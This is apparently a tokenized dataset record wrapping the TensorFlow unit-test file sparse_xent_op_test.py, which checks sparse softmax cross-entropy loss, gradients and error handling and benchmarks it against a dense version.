32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 23813, 24636, 199, 3, 259, 1898, 334, 67, 9, 6029, 13, 2566, 11655, 7653, 428, 14, 33, 14, 665, 1014, 921, 11267, 14, 957, 30, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 504, 1275, 492, 1300, 63, 1287, 63, 2200, 63, 396, 199, 199, 8625, 275, 359, 272, 1300, 63, 1287, 63, 2200, 63, 396, 12, 199, 61, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
nikste/tensorflow
tensorflow/python/kernel_tests/sparse_xent_op_test.py
103
13989
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for SparseSoftmaxCrossEntropyWithLogits op.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import sys import time import numpy as np from tensorflow.core.protobuf import config_pb2 from tensorflow.python.client import session from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors_impl from tensorflow.python.framework import ops as ops_lib from tensorflow.python.ops import array_ops from tensorflow.python.ops import gen_nn_ops from tensorflow.python.ops import gradient_checker from tensorflow.python.ops import gradients_impl from tensorflow.python.ops import math_ops from tensorflow.python.ops import nn_ops from tensorflow.python.ops import random_ops from tensorflow.python.ops import sparse_ops from tensorflow.python.ops import variables import tensorflow.python.ops.nn_grad # pylint: disable=unused-import from tensorflow.python.platform import app from tensorflow.python.platform import test class SparseXentTest(test.TestCase): def _npXent(self, features, labels): features = np.reshape(features, [-1, features.shape[-1]]) labels = np.reshape(labels, [-1]) batch_dim = 0 class_dim = 1 batch_size = features.shape[batch_dim] e = np.exp(features - np.reshape( np.amax( features, axis=class_dim), [batch_size, 1])) probs = e / np.reshape(np.sum(e, axis=class_dim), [batch_size, 1]) labels_mat = np.zeros_like(probs).astype(probs.dtype) labels_mat[np.arange(batch_size), labels] = 1.0 bp = (probs - labels_mat) l = -np.sum(labels_mat * np.log(probs + 1.0e-20), axis=1) return l, bp def _testXent(self, np_features, np_labels): np_loss, np_backprop = self._npXent(np_features, np_labels) with self.test_session(use_gpu=True) as sess: loss, backprop = gen_nn_ops._sparse_softmax_cross_entropy_with_logits( np_features, np_labels) tf_loss, tf_backprop = sess.run([loss, backprop]) self.assertAllCloseAccordingToType(np_loss, tf_loss) self.assertAllCloseAccordingToType(np_backprop, tf_backprop) def testSingleClass(self): for label_dtype in np.int32, np.int64: with self.test_session(use_gpu=True) as sess: loss, backprop = gen_nn_ops._sparse_softmax_cross_entropy_with_logits( np.array([[1.], [-1.], [0.]]).astype(np.float32), np.array([0, 0, 0]).astype(label_dtype)) tf_loss, tf_backprop = sess.run([loss, backprop]) self.assertAllClose([0.0, 0.0, 0.0], tf_loss) self.assertAllClose([[0.0], [0.0], [0.0]], tf_backprop) def testInvalidLabel(self): features = [[1., 1., 1., 1.], [1., 1., 1., 1.], [1., 2., 3., 4.], [1., 2., 3., 4.]] labels = [4, 3, 0, -1] if test.is_built_with_cuda() and test.is_gpu_available(): with self.test_session(use_gpu=True) as sess: loss, backprop = (gen_nn_ops._sparse_softmax_cross_entropy_with_logits( features, labels)) tf_loss, tf_backprop = sess.run([loss, backprop]) self.assertAllClose( [[np.nan] * 4, [0.25, 0.25, 0.25, -0.75], [-0.968, 0.087, 0.237, 0.6439], [np.nan] * 4], tf_backprop, rtol=1e-3, atol=1e-3) self.assertAllClose( [np.nan, 1.3862, 3.4420, np.nan], tf_loss, rtol=1e-3, atol=1e-3) with self.test_session(use_gpu=False) as sess: loss, backprop = (gen_nn_ops._sparse_softmax_cross_entropy_with_logits( features, labels)) with self.assertRaisesOpError("Received a label value of"): sess.run([loss, backprop]) def testNpXent(self): # We create 2 batches of logits for testing. # batch 0 is the boring uniform distribution: 1, 1, 1, 1, with target 3. # batch 1 has a bit of difference: 1, 2, 3, 4, with target 0. features = [[1., 1., 1., 1.], [1., 2., 3., 4.]] labels = [3, 0] # For batch 0, we expect the uniform distribution: 0.25, 0.25, 0.25, 0.25 # With a hard target 3, the backprop is [0.25, 0.25, 0.25, -0.75] # The loss for this batch is -log(0.25) = 1.386 # # For batch 1, we have: # exp(0) = 1 # exp(1) = 2.718 # exp(2) = 7.389 # exp(3) = 20.085 # SUM = 31.192 # So we have as probabilities: # exp(0) / SUM = 0.032 # exp(1) / SUM = 0.087 # exp(2) / SUM = 0.237 # exp(3) / SUM = 0.644 # With a hard 1, the backprop is [0.032 - 1.0 = -0.968, 0.087, 0.237, 0.644] # The loss for this batch is [1.0 * -log(0.25), 1.0 * -log(0.032)] # = [1.3862, 3.4420] np_loss, np_backprop = self._npXent(np.array(features), np.array(labels)) self.assertAllClose( np.array([[0.25, 0.25, 0.25, -0.75], [-0.968, 0.087, 0.237, 0.6439]]), np_backprop, rtol=1.e-3, atol=1.e-3) self.assertAllClose( np.array([1.3862, 3.4420]), np_loss, rtol=1.e-3, atol=1.e-3) def testShapeMismatch(self): with self.test_session(use_gpu=True): with self.assertRaisesRegexp(ValueError, ".*Rank mismatch:*"): nn_ops.sparse_softmax_cross_entropy_with_logits( labels=[[0, 2]], logits=[[0., 1.], [2., 3.], [2., 3.]]) def testScalar(self): with self.test_session(use_gpu=True): with self.assertRaisesRegexp(ValueError, ".*Logits cannot be scalars*"): nn_ops.sparse_softmax_cross_entropy_with_logits( labels=constant_op.constant(0), logits=constant_op.constant(1.0)) def testLabelsPlaceholderScalar(self): with self.test_session(use_gpu=True): labels = array_ops.placeholder(np.int32) y = nn_ops.sparse_softmax_cross_entropy_with_logits( labels=labels, logits=[[7.]]) with self.assertRaisesOpError("labels must be 1-D"): y.eval(feed_dict={labels: 0}) def testVector(self): with self.test_session(use_gpu=True): loss = nn_ops.sparse_softmax_cross_entropy_with_logits( labels=constant_op.constant(0), logits=constant_op.constant([1.0])) self.assertAllClose(0.0, loss.eval()) def testFloat(self): for label_dtype in np.int32, np.int64: self._testXent( np.array([[1., 1., 1., 1.], [1., 2., 3., 4.]]).astype(np.float32), np.array([3, 0]).astype(label_dtype)) def testDouble(self): for label_dtype in np.int32, np.int64: self._testXent( np.array([[1., 1., 1., 1.], [1., 2., 3., 4.]]).astype(np.float64), np.array([0, 3]).astype(label_dtype)) def testHalf(self): for label_dtype in np.int32, np.int64: self._testXent( np.array([[1., 1., 1., 1.], [1., 2., 3., 4.]]).astype(np.float16), np.array([3, 0]).astype(label_dtype)) def testEmpty(self): self._testXent(np.zeros((0, 3)), np.zeros((0,), dtype=np.int32)) def testGradient(self): with self.test_session(use_gpu=True): l = constant_op.constant([3, 0, 1], name="l") f = constant_op.constant( [0.1, 0.2, 0.3, 0.4, 0.1, 0.4, 0.9, 1.6, 0.1, 0.8, 2.7, 6.4], shape=[3, 4], dtype=dtypes.float64, name="f") x = nn_ops.sparse_softmax_cross_entropy_with_logits( labels=l, logits=f, name="xent") err = gradient_checker.compute_gradient_error(f, [3, 4], x, [3]) print("cross entropy gradient err = ", err) self.assertLess(err, 5e-8) def testSecondGradient(self): images_placeholder = array_ops.placeholder(dtypes.float32, shape=(3, 2)) labels_placeholder = array_ops.placeholder(dtypes.int32, shape=(3)) weights = variables.Variable(random_ops.truncated_normal([2], stddev=1.0)) weights_with_zeros = array_ops.stack([array_ops.zeros([2]), weights], axis=1) logits = math_ops.matmul(images_placeholder, weights_with_zeros) cross_entropy = nn_ops.sparse_softmax_cross_entropy_with_logits( labels=labels_placeholder, logits=logits) loss = math_ops.reduce_mean(cross_entropy) # Taking ths second gradient should fail, since it is not # yet supported. with self.assertRaisesRegexp(LookupError, "explicitly disabled"): _ = gradients_impl.hessians(loss, [weights]) def _testHighDim(self, features, labels): np_loss, np_backprop = self._npXent(np.array(features), np.array(labels)) # manually reshape loss np_loss = np.reshape(np_loss, np.array(labels).shape) with self.test_session(use_gpu=True) as sess: loss = nn_ops.sparse_softmax_cross_entropy_with_logits( labels=labels, logits=features) backprop = loss.op.inputs[0].op.outputs[1] tf_loss, tf_backprop = sess.run([loss, backprop]) self.assertAllCloseAccordingToType(np_loss, tf_loss) self.assertAllCloseAccordingToType(np_backprop, tf_backprop) def testHighDim(self): features = [[[1., 1., 1., 1.]], [[1., 2., 3., 4.]]] labels = [[3], [0]] self._testHighDim(features, labels) def testHighDim2(self): features = [[[1., 1., 1., 1.], [2., 2., 2., 2.]], [[1., 2., 3., 4.], [5., 6., 7., 8.]]] labels = [[3, 2], [0, 3]] self._testHighDim(features, labels) def testScalarHandling(self): with self.test_session(use_gpu=False) as sess: with self.assertRaisesRegexp(errors_impl.InvalidArgumentError, ".*labels must be 1-D.*"): labels = array_ops.placeholder(dtypes.int32, shape=[None, 1]) logits = array_ops.placeholder(dtypes.float32, shape=[None, 3]) ce = nn_ops.sparse_softmax_cross_entropy_with_logits( labels=array_ops.squeeze(labels), logits=logits) labels_v2 = np.zeros((1, 1), dtype=np.int32) logits_v2 = np.random.randn(1, 3) sess.run([ce], feed_dict={labels: labels_v2, logits: logits_v2}) def _sparse_vs_dense_xent_benchmark_dense(labels, logits): labels = array_ops.identity(labels) logits = array_ops.identity(logits) with ops_lib.device("/cpu:0"): # Sparse-to-dense must be on CPU batch_size = array_ops.shape(logits)[0] num_entries = array_ops.shape(logits)[1] length = batch_size * num_entries labels += num_entries * math_ops.range(batch_size) target = sparse_ops.sparse_to_dense(labels, array_ops.stack([length]), 1.0, 0.0) target = array_ops.reshape(target, array_ops.stack([-1, num_entries])) crossent = nn_ops.softmax_cross_entropy_with_logits( labels=target, logits=logits, name="SequenceLoss/CrossEntropy") crossent_sum = math_ops.reduce_sum(crossent) grads = gradients_impl.gradients([crossent_sum], [logits])[0] return (crossent_sum, grads) def _sparse_vs_dense_xent_benchmark_sparse(labels, logits): # Using sparse_softmax_cross_entropy_with_logits labels = labels.astype(np.int64) labels = array_ops.identity(labels) logits = array_ops.identity(logits) crossent = nn_ops.sparse_softmax_cross_entropy_with_logits( logits, labels, name="SequenceLoss/CrossEntropy") crossent_sum = math_ops.reduce_sum(crossent) grads = gradients_impl.gradients([crossent_sum], [logits])[0] return (crossent_sum, grads) def sparse_vs_dense_xent_benchmark(batch_size, num_entries, use_gpu): config = config_pb2.ConfigProto() config.allow_soft_placement = True config.gpu_options.per_process_gpu_memory_fraction = 0.3 labels = np.random.randint(num_entries, size=batch_size).astype(np.int32) logits = np.random.randn(batch_size, num_entries).astype(np.float32) def _timer(sess, ops): # Warm in for _ in range(20): sess.run(ops) # Timing run start = time.time() for _ in range(20): sess.run(ops) end = time.time() return (end - start) / 20.0 # Average runtime per iteration # Using sparse_to_dense and softmax_cross_entropy_with_logits with session.Session(config=config) as sess: if not use_gpu: with ops_lib.device("/cpu:0"): ops = _sparse_vs_dense_xent_benchmark_dense(labels, logits) else: ops = _sparse_vs_dense_xent_benchmark_dense(labels, logits) delta_dense = _timer(sess, ops) # Using sparse_softmax_cross_entropy_with_logits with session.Session(config=config) as sess: if not use_gpu: with ops_lib.device("/cpu:0"): ops = _sparse_vs_dense_xent_benchmark_sparse(labels, logits) else: ops = _sparse_vs_dense_xent_benchmark_sparse(labels, logits) delta_sparse = _timer(sess, ops) print("%d \t %d \t %s \t %f \t %f \t %f" % (batch_size, num_entries, use_gpu, delta_dense, delta_sparse, delta_sparse / delta_dense)) def main(_): print("Sparse Xent vs. SparseToDense + Xent") print("batch \t depth \t gpu \t dt(dense) \t dt(sparse) " "\t dt(sparse)/dt(dense)") for use_gpu in (False, True): for batch_size in (32, 64, 128): for num_entries in (100, 1000, 10000): sparse_vs_dense_xent_benchmark(batch_size, num_entries, use_gpu) sparse_vs_dense_xent_benchmark(32, 100000, use_gpu) sparse_vs_dense_xent_benchmark(8, 1000000, use_gpu) if __name__ == "__main__": if "--benchmarks" in sys.argv: sys.argv.remove("--benchmarks") app.run() else: test.main()
apache-2.0
[ 3, 1898, 6900, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 14531, 19302, 988, 14072, 31224, 3007, 2445, 1405, 1687, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 984, 199, 646, 900, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 1018, 14, 7204, 492, 1101, 63, 3317, 18, 199, 504, 3228, 14, 1548, 14, 1258, 492, 2351, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2552, 63, 5472, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 465, 4156, 63, 773, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3805, 63, 4411, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 6709, 63, 6743, 199, 504, 3228, 14, 1548, 14, 1483, 492, 12661, 63, 5472, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11542, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2196, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 5178, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2860, 199, 646, 3228, 14, 1548, 14, 1483, 14, 4411, 63, 6017, 221, 327, 4287, 26, 3507, 29, 8618, 13, 646, 199, 504, 3228, 14, 1548, 14, 3246, 492, 1145, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 421, 199, 533, 14531, 56, 484, 774, 8, 396, 14, 1746, 304, 819, 347, 485, 1590, 56, 484, 8, 277, 12, 4534, 12, 3628, 304, 272, 4534, 275, 980, 14, 5217, 8, 3179, 12, 5243, 17, 12, 4534, 14, 1392, 1988, 17, 3934, 272, 3628, 275, 980, 14, 5217, 8, 3512, 12, 5243, 17, 566, 272, 3522, 63, 3572, 275, 378, 272, 1021, 63, 3572, 275, 413, 272, 3522, 63, 890, 275, 4534, 14, 1392, 59, 2912, 63, 3572, 61, 272, 325, 275, 980, 14, 1474, 8, 3179, 446, 980, 14, 5217, 8, 267, 980, 14, 65, 988, 8, 288, 4534, 12, 3114, 29, 533, 63, 3572, 395, 359, 2912, 63, 890, 12, 413, 2459, 272, 24329, 275, 325, 1182, 980, 14, 5217, 8, 1590, 14, 1838, 8, 69, 12, 3114, 29, 533, 63, 3572, 395, 359, 2912, 63, 890, 12, 413, 566, 272, 3628, 63, 569, 275, 980, 14, 4250, 63, 2930, 8, 15349, 680, 6041, 8, 15349, 14, 2271, 9, 272, 3628, 63, 569, 59, 1590, 14, 5605, 8, 2912, 63, 890, 395, 3628, 61, 275, 413, 